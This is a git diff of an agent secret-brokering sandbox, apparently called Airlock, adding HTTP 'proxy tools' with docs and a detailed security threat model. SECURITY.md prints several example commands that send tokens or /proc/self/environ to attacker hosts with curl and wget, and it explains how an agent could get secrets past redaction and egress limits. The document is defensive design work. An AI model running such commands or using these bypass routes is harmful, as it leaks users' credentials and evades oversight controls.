"9e1c906769ad99c88eaa54e728060edef082f8e358ff32030cb7c7d315e81109" + +[[package]] +name = "time-macros" +version = "0.2.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e689342a48d2ea927c87ea50cabf8594854bf940e9310208848d680d668ed85" +dependencies = [ + "num-conv", + "time-core", ] [[package]] @@ -581,7 +1052,7 @@ dependencies = [ "signal-hook-registry", "socket2", "tokio-macros", - "windows-sys", + "windows-sys 0.61.2", ] [[package]] @@ -592,7 +1063,17 @@ checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0c85f2c3ef0b1cd58b36682f4b17aaa995f0e5db534d85692b4903abce21f67" +dependencies = [ + "rustls", + "tokio", ] [[package]] @@ -660,6 +1141,12 @@ version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801" +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + [[package]] name = "unicode-ident" version = "1.0.24" @@ -678,12 +1165,27 @@ version = "0.2.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + [[package]] name = "utf8parse" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + [[package]] name = "wasi" version = "0.11.1+wasi-snapshot-preview1" @@ -742,12 +1244,30 @@ dependencies = [ "semver", ] +[[package]] +name = "webpki-roots" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dcd9d09a39985f5344844e66b0c530a33843579125f23e21e9f0f220850f22a" +dependencies = [ + "rustls-pki-types", +] + [[package]] name = "windows-link" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + [[package]] name = "windows-sys" version = "0.61.2" @@ -757,6 +1277,70 @@ dependencies = [ "windows-link", ] +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + [[package]] name = "winnow" version = "0.7.15" @@ -796,7 +1380,7 @@ dependencies = [ "heck", "indexmap", "prettyplease", - "syn", + "syn 2.0.117", "wasm-metadata", "wit-bindgen-core", "wit-component", @@ -812,7 +1396,7 @@ dependencies = [ "prettyplease", "proc-macro2", "quote", - "syn", + "syn 2.0.117", "wit-bindgen-core", "wit-bindgen-rust", ] @@ -854,6 +1438,34 @@ dependencies = [ "wasmparser", ] +[[package]] +name = "x509-parser" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d43b0f71ce057da06bc0851b23ee24f3f86190b07203dd8f567d0b706a185202" +dependencies = [ + "asn1-rs", + "data-encoding", + "der-parser", + "lazy_static", + "nom", + "oid-registry", + "ring", + "rusticata-macros", + "thiserror", + "time", +] + +[[package]] +name = "yasna" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5f6765e852b9b4dc8e2a76843e4d64d1cea8e79bcde0b6901aea8e7c7f08282" +dependencies = [ + "bit-vec", + "time", +] + [[package]] name = "zeroize" version = "1.8.2" diff --git a/Cargo.toml b/Cargo.toml index a568d4e..086f587 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -22,6 +22,20 @@ base64 = "0.22" percent-encoding = "2" zeroize = "1" leon = "3" +# Proxy-tool runtime. One rustls crypto provider (ring) is selected explicitly +# here and installed by name at CA construction, so nothing depends on +# process-default provider auto-detection. +rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12", "logging"] } +tokio-rustls = { version = "0.26", default-features = false, features = ["ring", "tls12", "logging"] } +rcgen = { version = "0.14", default-features = false, features = ["crypto", "pem", "ring"] } +hyper = { version = "1", features = ["http1", "server", "client"] } +hyper-util = { version = "0.1", features = ["tokio"] } +http-body-util = "0.1" +bytes = "1" +webpki-roots = "1" +time = "0.3" +getrandom = "0.3" +subtle = "2" [target.'cfg(target_os = "linux")'.dependencies] landlock = "0.4" diff --git a/README.md b/README.md index 3bbd019..f1fab7d 100644 --- a/README.md +++ b/README.md @@ -267,8 +267,71 @@ TF_INPUT = "0" | `extra_read` | Additional read-only paths. | | `extra_write` | Additional read-write paths. | | `timeout` | Per-tool timeout in seconds; overrides the global value. | +| `proxy` | `true` marks a *proxy tool*. See [Proxy tools](#proxy-tools). A proxy tool needs at least one route and may not have secrets in `env`. | +| `routes` | `[[tools..routes]]`. Each route names a host the proxy tool may reach, an optional credential header to attach, and optional `METHOD /path` allow/deny rules. | -> **Only declare purpose-built CLIs as tools** — never shells (`bash`), interpreters (`python`, `node`), or tools where the agent controls the request (`curl`). If the agent can script the tool, it can transform secrets past the redactor or upload `/proc/self/environ`. See [SECURITY.md](SECURITY.md#tool-selection-what-should-and-should-not-be-an-airlock-tool). +> **Only declare purpose-built CLIs as tools.** Never declare shells (`bash`), interpreters (`python`, `node`), or any tool where the agent controls the request. If the agent can script the tool, it can transform secrets past the redactor or upload `/proc/self/environ`. `curl` is the one exception, and only as a [proxy tool](#proxy-tools). A proxy tool never holds a secret, so it has no secret to leak. See [SECURITY.md](SECURITY.md#tool-selection-what-should-and-should-not-be-an-airlock-tool). + +### Proxy tools + +Use a proxy tool when the API you need has no CLI. A proxy tool is a general HTTP client, such as `curl`. Its only network path is a proxy inside the daemon. The proxy attaches the credential *after* the request has left the tool. So the tool never holds a secret, and nothing the agent can read out of the tool is useful to an attacker. + +```toml +# Minted on the trusted side, refreshed before expiry. The tool never sees it. +[secrets.gcp_token] +source = "command" +command = ["gcloud", "auth", "print-access-token", + "--impersonate-service-account=agent-ro@my-project.iam.gserviceaccount.com"] +refresh = 3000 + +[tools.curl] +description = "HTTP client for Google Cloud REST APIs (authenticated automatically)" +proxy = true + +[[tools.curl.routes]] +host = "*.googleapis.com" +inject = { header = "Authorization", value = "Bearer {secret}", secret = "gcp_token" } +allow = ["* /v2/projects/my-project/**"] +deny = ["DELETE /**"] +``` + +Each `allow` and `deny` rule has the form `METHOD /path`. `*` as the method matches any method. In the path, `*` matches exactly one segment, and `**` (last segment only) matches the rest of the path. The proxy checks a request in this order: + +1. If the request matches any `deny` rule, the proxy refuses it. This is true even if an `allow` rule also matches. +2. If `allow` is empty, the proxy allows the request. +3. Otherwise the request must match at least one `allow` rule. A request that matches neither list is refused. + +In the example above, `allow` limits the tool to one project, and `deny` removes `DELETE` from that. Without `deny`, you would have to list each allowed method. + +The agent then uses ordinary URLs from the API docs: + +```bash +airlock exec -- curl -s https://run.googleapis.com/v2/projects/my-project/locations/-/services +``` + +For each `airlock exec` of a proxy tool, the daemon: + +1. Starts a proxy on a random loopback port. +2. Points the tool at the proxy with `HTTPS_PROXY`. Points it at the Airlock CA with `CURL_CA_BUNDLE`, `SSL_CERT_FILE`, `REQUESTS_CA_BUNDLE` and `NODE_EXTRA_CA_CERTS`. +3. Limits the tool's network access to that one port with Seatbelt (macOS) or Landlock (Linux). +4. Stops the proxy when the tool exits. + +For each request, the proxy: + +1. Checks the host against the routes. A host with no route is unreachable (deny by default). +2. Checks the method and path against the route's allow/deny rules, in the order above. +3. Attaches the credential. +4. Sends the request over a verified TLS connection. The host must resolve to a public address. + +The proxy redacts the response before the tool sees it, both header values and body. So an API that echoes the credential cannot pass it to the agent, not even through `curl -o file`. The proxy refuses compressed and partial responses instead of forwarding bytes it cannot redact. See [SECURITY.md](SECURITY.md#response-redaction). + +Limits to know before you start: + +- HTTP/1.1 only. gRPC and HTTP/2-only endpoints do not work. +- Clients that pin certificates fail, because the proxy intercepts TLS. +- The agent gets the full API permissions of the credential on the routed hosts. Give the service account the smallest scope that works. + +Threat model and remaining risks: [SECURITY.md](SECURITY.md#proxy-tools). Design notes: [docs/proxy-tools-design.md](docs/proxy-tools-design.md). ### `[agent]` — for `airlock run` diff --git a/SECURITY.md b/SECURITY.md index 44384f3..be41741 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -117,6 +117,8 @@ Any match is replaced with `[REDACTED:NAME]` where `NAME` is the secret's enviro The streaming implementation (`aho-corasick`'s `try_stream_replace_all`) correctly handles partial matches that span chunk boundaries — a secret value split across two TCP-level reads is still detected and redacted. +**Refreshed secrets.** The automaton the child's output runs through is taken right after the daemon reads the child's secrets, not when the connection is accepted. A refresh swaps in a redactor that knows the new value before it publishes that value, so the automaton always knows every value in the child's environment. An automaton taken at accept time would not: the client chooses when to send its request, so an agent could open a connection, wait for a refresh, and then run a tool whose output carries a value the automaton has never seen. + **Limitations:** Redaction is best-effort by nature. A tool could transform a secret in ways that don't match any of the four encodings (e.g., reversing the string, encrypting it, splitting it across multiple output lines with interleaving). Airlock's primary defense is that secrets are only injected into specifically allowed tool processes; redaction is a defense-in-depth layer. ## Filesystem sandboxing @@ -135,7 +137,10 @@ The daemon generates an SBPL (Scheme-based) sandbox profile for each tool execut - **File-change notification is in the baseline.** `com.apple.FSEvents` is on the allowlist because every macOS file watcher goes through it — without it `node --watch`, nodemon, vite, and `cargo watch` fail, and they fail unrecognisably: libuv surfaces a failed `FSEventStreamStart` as `EMFILE: too many open files, watch` even with a 1M descriptor limit, and Bun reports `error: Error starting FSEvents stream`. The capability is notification-only: reading a changed file still goes through the filesystem rules. It does widen metadata disclosure — an event stream rooted outside the sandbox reports the *paths* of files the process cannot open — which is the accepted cost of working dev servers. - **Baseline filesystem reads**: `/usr/lib`, `/usr/share`, `/System`, `/Library`, `/private/etc`, `/etc`, `/dev/null`, `/dev/random`, `/dev/urandom`, and the tool binary itself (needed for TLS code signature verification). - **Config-declared paths**: `(allow file-read* (subpath ...))` for read paths; `(allow file-write* (subpath ...))` for write paths. -- **Network**: `network-outbound`, `system-socket`, plus DNS via `/private/var/run/mDNSResponder` (when `requires_network` is set, currently always true). `network-bind` is scoped to `(local unix-socket)` only — tools can bind Unix domain sockets for local IPC (argocd SSO, language servers, loopback IPC) but cannot `listen()` on TCP/UDP and therefore cannot become network-reachable services. +- **Network**: one of three states, chosen for each execution. + - *Full* (every ordinary tool): `network-outbound`, `system-socket`, plus DNS via `/private/var/run/mDNSResponder`. `network-bind` is scoped to `(local unix-socket)` only — tools can bind Unix domain sockets for local IPC (argocd SSO, language servers, loopback IPC) but cannot `listen()` on TCP/UDP and therefore cannot become network-reachable services. + - *Proxy-only* (a [proxy tool](#proxy-tools)): one rule, `(allow network-outbound (remote tcp "localhost:"))`. `` is the ephemeral port the daemon bound for this execution. There is no general `network-outbound`, no `system-socket`, no mDNSResponder socket, and no bind of any kind. So the tool cannot resolve a name, reach a public address, or reach a different loopback port. We tested each case with `sandbox-exec` against a live listener. Seatbelt's `remote tcp` filter accepts only `localhost` or `*` as the host (an IP literal does not compile). `localhost` is what this rule needs. + - *None*: no config produces this state today. The profile's `(deny default)` covers it. Path traversal rules (`file-read-metadata` for ancestor directories) are generated automatically. @@ -152,6 +157,9 @@ The daemon uses Landlock (kernel 5.13+) with **ABI V1 and hard requirement** — - Read-write paths → `PathBeneath` with `AccessFs::from_all(abi)` - The Landlock ruleset fd is pre-built, extracted as an `OwnedFd`, and its raw integer is passed into the `pre_exec` closure (inherited across fork). - In the child: `prctl(PR_SET_NO_NEW_PRIVS, 1)` followed by `landlock_restrict_self` syscall. +- **Network (proxy tools only)**: Landlock ABI V4 (kernel 6.7+) adds TCP bind and connect rules. For a [proxy tool](#proxy-tools), the ruleset handles both `BindTcp` and `ConnectTcp`, and allows `ConnectTcp` only to the proxy's port. This is also a **hard requirement**: on a kernel older than 6.7 the exec fails. The tool never runs without the port restriction. Ordinary tools do not handle network access rights at all, so their network behaviour has not changed. + + Landlock itself leaves two gaps. First, the rule is **port-scoped, not host-scoped**: the tool can reach that port number on any host. Second, **UDP is not covered**, so exfiltration over DNS is still possible. Through either gap the tool can leak *data it can read*, but never the credential, because the tool never holds one. The agent's own sandbox already has general network access, so neither gap gives the agent a new capability. A network-namespace backend would close both gaps and is the planned next step. ### Sandbox root @@ -236,7 +244,7 @@ Airlock's security model assumes that declared tools are **purpose-built binarie ### Never declare shells, interpreters, or network tools as tools -**Do not declare `bash`, `sh`, `zsh`, `python`, `node`, `ruby`, `perl`, `curl`, `wget`, or any other shell/interpreter or general-purpose network tool as an Airlock tool.** If the agent can script the tool, it can trivially exfiltrate secrets. +**Do not declare `bash`, `sh`, `zsh`, `python`, `node`, `ruby`, `perl`, `curl`, `wget`, or any other shell/interpreter or general-purpose network tool as an Airlock tool.** If the agent can script the tool, it can trivially exfiltrate secrets. The one exception is curl declared as a [proxy tool](#proxy-tools). **With a shell or interpreter**, the agent can transform secrets to bypass redaction or write them anywhere: @@ -248,7 +256,13 @@ airlock exec -- python3 -c 'import os; print(os.environ["GH_TOKEN"][::-1])' airlock exec -- bash -c 'curl -s -X POST https://attacker.example/collect -d "token=$GH_TOKEN"' ``` -**Without a shell**, `$GH_TOKEN` is not expanded — airlock execs the binary directly with literal arguments, and curl/wget have no built-in env var interpolation. But that does *not* make curl/wget safe, because they can read files — including the process's own environment on Linux via `/proc/self/environ`: +**Without a shell**, `$GH_TOKEN` is not expanded — airlock execs the binary directly with literal arguments. That does *not* make curl/wget safe. curl 8.3 and later can read environment variables into its arguments by itself (`--variable %NAME` with `--expand-url` / `--expand-data`). This works on every platform: + +```bash +airlock exec -- curl --variable %GH_TOKEN --expand-url 'https://attacker.example/?t={{GH_TOKEN}}' +``` + +Both tools can also read files. On Linux this includes the process's own environment, through `/proc/self/environ`: ```bash # Exfiltrate the entire env (including injected secrets) as a file upload — no shell needed: @@ -257,7 +271,9 @@ airlock exec -- curl -s -T /proc/self/environ https://attacker.example/upload airlock exec -- wget --post-file=/proc/self/environ https://attacker.example/ ``` -`/proc/self/environ` does not exist on macOS, so the env-as-a-file trick is Linux-specific. Blocking shell expansion is not sufficient; curl and wget must not be declared as tools. +`/proc/self/environ` does not exist on macOS, so the env-as-a-file trick works only on Linux. `--variable` works everywhere. Blocking shell expansion is not enough: **never declare curl or wget as a tool with secrets in its environment.** Declare curl as a [proxy tool](#proxy-tools) instead. That is the only safe way to use it. + +Limiting *where* such a tool can connect does not fix the env-var case either. Allowed API hosts are often multi-tenant: `storage.googleapis.com` serves an attacker's bucket as well as yours. So a secret in the tool's environment can be exfiltrated to an allowed host. For this reason, proxy tools remove the credential from the tool completely, instead of only limiting where the tool can connect. The agent controls the arguments passed to the tool. If the tool is a shell, the agent effectively has arbitrary code execution *with* secrets — defeating Airlock's entire purpose. @@ -284,7 +300,7 @@ These tools are perfectly fine for the agent to use directly through its own san | `python` / `python3` | Agent passes `-c` with arbitrary code. Full access to secrets via `os.environ`. | | `node` / `ruby` / `perl` | Same — arbitrary code execution with secrets in the environment. | | `env` | Only useful for debugging. In production, don't give the agent a tool that exists solely to print the environment. | -| `curl` / `wget` | Agent controls the URL. Could `POST` secrets to an attacker-controlled endpoint: `curl -d "$GH_TOKEN" https://evil.com`. | +| `curl` / `wget` | Agent controls the URL. Could `POST` secrets to an attacker-controlled endpoint: `curl -d "$GH_TOKEN" https://evil.com`. curl is safe only as a [proxy tool](#proxy-tools), where it holds no secret. `wget` is not supported as a proxy tool: whether it reads the CA-bundle variables the daemon sets depends on its TLS backend, and we have not tested this. | | `grep` / `cargo` / `npm` / `make` | Don't need secrets. Let the agent run them directly — no reason to route through Airlock. | ### The rule of thumb @@ -293,6 +309,104 @@ These tools are perfectly fine for the agent to use directly through its own san **If the tool doesn't need secrets, don't declare it in Airlock at all.** Let the agent run it directly through its own sandbox. +## Proxy tools + +A *proxy tool* is a tool with `proxy = true` and one or more `[[tools..routes]]`. It is the only safe way to declare a general-purpose HTTP client as an Airlock tool. Design notes: [docs/proxy-tools-design.md](docs/proxy-tools-design.md). + +### The invariant + +> **A proxy tool never holds a secret.** The daemon attaches the credential after the request has left the tool. + +Config validation enforces the first part. At load time, Airlock rejects a proxy tool if its `env` contains a `{ secret = ... }` reference. It also rejects a proxy tool that sets `HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY`, `NO_PROXY`, `CURL_CA_BUNDLE`, `SSL_CERT_FILE`, `SSL_CERT_DIR`, `NODE_EXTRA_CA_CERTS` or `REQUESTS_CA_BUNDLE`, in any letter case, because the daemon sets these itself. So nothing the agent can extract from the tool's process (environment, files, memory) contains a secret. + +Egress restriction is the second layer, not the first. It makes the set of hosts the tool can reach equal to its routes. It does not protect the credential. + +### What the daemon does for each execution + +1. Binds a TCP listener on `127.0.0.1:0` and reads back the **actual** port. The listener lives exactly as long as the child. Every exit path (normal exit, timeout, kill, client disconnect) closes it. When no proxy tool is running, nothing is bound. +2. Generates a random 32-byte token. The tool authenticates with `Proxy-Authorization: Basic base64("airlock:")`. The proxy compares it in constant time and answers `407` on a mismatch. **The token is mandatory.** Airlock's trust boundary is a `0700` Unix socket, but a loopback TCP port has no file mode, so any local user can connect to it. Without the token, another user could connect during an exec and have the daemon attach credentials to *their* requests. The tool can see the token, and so can the agent. This is fine: the token gives nothing that the agent does not already have through `airlock exec`. +3. Sets these environment variables: + - `HTTPS_PROXY` / `https_proxy` / `HTTP_PROXY` / `http_proxy` / `ALL_PROXY` / `all_proxy` to `http://airlock:@127.0.0.1:`. + - `NO_PROXY` / `no_proxy` to an empty string. + - `CURL_CA_BUNDLE` / `SSL_CERT_FILE` / `REQUESTS_CA_BUNDLE` / `NODE_EXTRA_CA_CERTS` to the path of the CA certificate. + + The daemon applies these *after* the tool's own `env`, so these values win. +4. Builds the sandbox profile with network access limited to that port. See [Filesystem sandboxing](#filesystem-sandboxing) for the rule on each platform. + +### What the proxy does for each request + +| Condition | Result | +|---|---| +| `Proxy-Authorization` missing or wrong | `407` | +| Any method other than `CONNECT` (for example a plain `GET http://…`) | `403`. The proxy never attaches the credential to a cleartext request. | +| CONNECT to a port other than 443 | `403` | +| CONNECT to a host that no route matches | `403` (deny by default) | +| CONNECT while 32 tunnels are already open for this exec | `503`, sent before the `200`, so the tool can retry | +| The proxy cannot create a certificate for the host | `500`, sent before the `200`, and written to the audit log | +| Inside the tunnel: `Host` header ≠ the CONNECT authority | `400` (no domain fronting) | +| Inside the tunnel: absolute-form request target | `400` | +| `Transfer-Encoding` together with `Content-Length`, or two `Content-Length` headers | `400` (request smuggling) | +| The route's `allow` / `deny` rules do not permit the method and path | `403` | +| The path contains `.` or `..` segments, `//`, a backslash, a malformed percent-escape, or an escape that decodes to `/`, `\`, `%` or NUL | `403`. The proxy refuses the path instead of normalizing it, because the upstream may normalize it differently than the matcher. | +| The slot of the injected secret is `Stale` | `502` | +| The host resolves to a private, loopback, link-local (including `169.254.169.254`), CGNAT, ULA, multicast, documentation or other non-routable address | `502` | +| The upstream answers with a `Content-Encoding` other than `identity`, a transfer coding other than `chunked`, or a partial response (`206` / `Content-Range`) | `502`, and the proxy drops the body unread. See [Response redaction](#response-redaction). | + +The proxy checks the allow/deny rules in this order. A request that matches any `deny` rule is refused, even if an `allow` rule also matches. If `allow` is empty, every request that no `deny` rule matches is allowed. If `allow` is not empty, a request must also match at least one `allow` rule. So with a non-empty `allow`, a request that matches neither list is refused. + +The allow/deny rules are matched against the *percent-decoded* path, decoding each segment once, because the upstream routes on the decoded path. For example, GitHub treats `DELETE /%72epos/o/n` as `DELETE /repos/o/n`, so it must match `deny = ["DELETE /repos/**"]` in the same way. For this reason you write rules in decoded form, and a rule may not contain `%`. + +Upstreams also disagree on two more details. Many frameworks treat `/x/` as `/x`, and servlet containers (Tomcat, Spring) remove `;params` from each segment. So the proxy checks `deny` rules against all of these forms of the path, and `allow` rules only against the path as sent. `deny = ["DELETE /secrets/*"]` therefore also refuses `DELETE /secrets/x/` and `DELETE /secrets/x;y`. A segment that becomes `.`, `..` or empty once its `;params` are removed (for example `..;`) is refused. + +Before the proxy attaches the credential, it removes every copy of the injected header that the client sent. It also removes `Proxy-Authorization`, `Proxy-Connection` and the other hop-by-hop headers. The proxy reads the secret from the secret store **for each request**, so a background refresh applies to the next request. The proxy builds the header value in a buffer that is zeroized after use, never with `format!`, and marks the value as sensitive. + +The proxy also changes the request so that the redactor can read the response. It always sets `Accept-Encoding` to `identity`, whatever the tool asked for, and it removes `Range` and `If-Range`. + +### Response redaction + +The proxy redacts everything the upstream sends back before it reaches the tool. It uses the same automaton and the same secret set as the tool's stdout: raw, base64, URL-encoded and hex variants of *every* declared secret, not only the secret of this route. + +- **All response header values**, including `Location`, `Set-Cookie` and `WWW-Authenticate`. If a value is not a valid header value after replacement, the proxy drops it. It never forwards the original. +- **The body**, streamed. The proxy buffers only a possible partial match at the end of a frame. So a multi-gigabyte download costs the same as a small one, and the tool's read rate controls the upstream read rate. A secret split across two upstream writes is still caught. +- **Trailers** are dropped, not forwarded. +- **The upstream's reason phrase** is dropped. `HTTP/1.1 200 ` is a legal status line, and the reason phrase is outside the header map. So the tool sees the status code with the standard phrase, never the upstream's text. + +The proxy takes the redactor from the daemon's live handle for each response. It does not use a copy taken when the exec started. A tool can run for minutes, and the proxy injects the value the store holds *now*. The redactor keeps the two newest values of a refreshed secret, so a refresh that happens in the middle of a response is still covered. + +A `[REDACTED:name]` placeholder does not have the same length as the secret it replaces. So the upstream `Content-Length` is wrong whenever something matches, and the proxy cannot know this before it has read the body. For this reason the proxy removes `Content-Length` from every response that has a body, and hyper sends the response with chunked encoding (HTTP/1.1 always supports it). A response without a body (HEAD, `1xx`, `204`, `304`) keeps its `Content-Length`. In such a response the length describes the resource, not the bytes on the wire, so `curl -I` still shows it. + +The proxy refuses three cases instead of handling them. The reason is the same for all three: the redactor matches bytes, not formats, and Airlock adds no decoder to the response path. + +- **Compressed responses.** A byte-pattern scanner cannot see inside `gzip`, `br`, `zstd` or `deflate`. The request asks for `identity`. If the upstream compresses anyway, the proxy returns `502` and drops the body unread. +- **Unknown transfer codings**, for the same reason. +- **Byte ranges.** A range can start in the middle of a secret. The pattern would then be split across two responses that the proxy never sees together, while the tool joins the plaintext in a file. So the proxy removes `Range` and `If-Range` from the request, and the upstream sends the whole resource. If a `206` or `Content-Range` arrives anyway, the proxy refuses it. As a result, resumed and parallel-chunked downloads do not work through a proxy tool. + +No configuration turns any of this off. Redaction on the output path is mandatory in Airlock, and the proxy is an output path. + +If the proxy replaced anything in a response, the audit log records it. When the headers arrive, the log line includes the count of redacted header values. When the body ends, a second line gives the count for the body. The log records only counts, never the matched bytes. + +The CONNECT authority is the single source of truth. It selects the route. It is the name in the leaf certificate shown to the tool. It is the name the proxy resolves and connects to. It is the name the proxy verifies the upstream certificate against (TLS 1.2 or later, public roots). The proxy ignores the client's SNI completely. So `curl --resolve`, `--connect-to`, a forged `Host` header or a forged SNI cannot make any two of these disagree. The proxy resolves DNS once and connects to the exact `SocketAddr` that passed the address check, so DNS rebinding cannot change the address between the check and the connection. + +The proxy logs each request to the ring buffer: tool, method, host, path, decision and upstream status. It never logs a header value or the query string, because the query string can contain data. + +### The CA + +- ECDSA P-256. The daemon generates it once, **after** daemonization, and holds it in memory. The key is **never written to disk**. A restart creates a new CA. Nothing needs to trust the CA across restarts, because only children of the same daemon use it. +- `CA:TRUE, pathlen:0`, plus X.509 **Name Constraints** that permit only the DNS names in the routes. So even a leaked key cannot sign certificates for other sites. A permitted subtree also covers the apex and deeper labels (`*.example.com` permits `example.com`). Route matching still decides exactly which certificates the proxy issues. +- Only the **certificate** is written to disk, to `{sandbox_root}/airlock-ca.pem` (mode `0644`), next to `airlock.sock` and `airlock.pid`. The daemon removes it at graceful shutdown. If it is left behind, the next start removes it as stale state. +- The bundle given to the tool contains **only** this CA. The proxy intercepts every connection the tool can make, so the tool does not need public roots. Without them, a direct connection that somehow escaped the sandbox would still fail TLS. +- Tested: Apple's system `/usr/bin/curl` 8.7.1 (SecureTransport / LibreSSL 3.3.6) reads `CURL_CA_BUNDLE` for a connection through the proxy and accepts a leaf certificate from the name-constrained CA. Homebrew curl is not needed. + +### Residual risks + +- **Misuse, not leakage.** The agent gets the full API permissions of the credential on the routed hosts. This is broader than a purpose-built CLI. Mitigate this first with a narrowly scoped service account, then with allow/deny rules. +- **Data exfiltration to other tenants.** The tool can upload anything it can read to an attacker's project on an allowed multi-tenant host (`storage.googleapis.com` serves every GCP customer). It cannot upload the credential. +- **Allow/deny rules are a convenience, not an authorization system.** They see the path, not the body. A `POST` allowed for one purpose can do something else (`:batchUpdate`, GraphQL). IAM is the real permission boundary. +- **An upstream that *transforms* the secret is not caught.** [Response redaction](#response-redaction) closes the `curl -o` / `--dump-header` / `--trace` path for response bytes. What the tool writes to a file is already redacted, so the plaintext credential never exists inside the sandbox. Redaction does not catch an upstream that returns the secret reversed, split into pieces, or in an encoding the redactor does not know. The stdout path has the same limit. Redaction also does not apply to data the agent sends: the proxy forwards the query string and request body as the agent wrote them. +- **Linux egress restriction is port-scoped and TCP-only.** See [Linux — Landlock LSM](#linux--landlock-lsm). +- **HTTP/1.1 only.** ALPN offers only `http/1.1`, so gRPC and HTTP/2-only endpoints do not work. +- **Clients that pin certificates fail** because the proxy intercepts TLS. This is by design. + ## Config safety - **Discovery**: `airlock.toml` is found by walking up from CWD toward `$HOME`. Only files **owned by the current effective UID** are accepted, preventing privilege escalation via a crafted config in a shared directory. @@ -341,9 +455,9 @@ A tool could write its secrets to a file in a writable sandbox path. If the agen ### Network exfiltration by tools -Tools have network access (currently always enabled). A compromised or malicious tool binary could send secrets to an external endpoint. +An ordinary tool has unrestricted outbound network access. A compromised or malicious tool binary could send its secrets to an external endpoint. -**Mitigation:** Only declare tools you trust. Airlock limits *which* tools receive secrets, so a compromised `ls` binary with no declared secrets can't exfiltrate anything. Future versions may support network policy restrictions. +**Mitigation:** Only declare tools you trust. Airlock limits *which* tools receive secrets, so a compromised `ls` binary with no declared secrets can't exfiltrate anything. A [proxy tool](#proxy-tools) is the only case where egress *is* restricted: the tool can connect only to one loopback port, and the routes decide which hosts the proxy forwards to. A proxy tool also holds no secret, so it has none to exfiltrate. ### Memory inspection diff --git a/SKILL.md b/SKILL.md index 54a27bf..eb035f9 100644 --- a/SKILL.md +++ b/SKILL.md @@ -27,6 +27,9 @@ discover which tools are available before attempting to execute them. The daemon does NOT need to be running for this command — it reads the config file directly. +If a tool shows `proxy tool; reachable hosts:`, it is a proxy tool. See +[Proxy tools](#proxy-tools) for how to use one. + Example output: ``` @@ -67,6 +70,54 @@ Secret values in stdout/stderr are replaced with `[REDACTED:NAME]`, e.g. `[REDACTED:GH_TOKEN]`. This is normal and expected — it means the redaction is working. +### Proxy tools + +A proxy tool is an HTTP client (usually `curl`) that does not hold a +credential. Airlock adds the credential to each request after the request +leaves the tool. Use a proxy tool like any 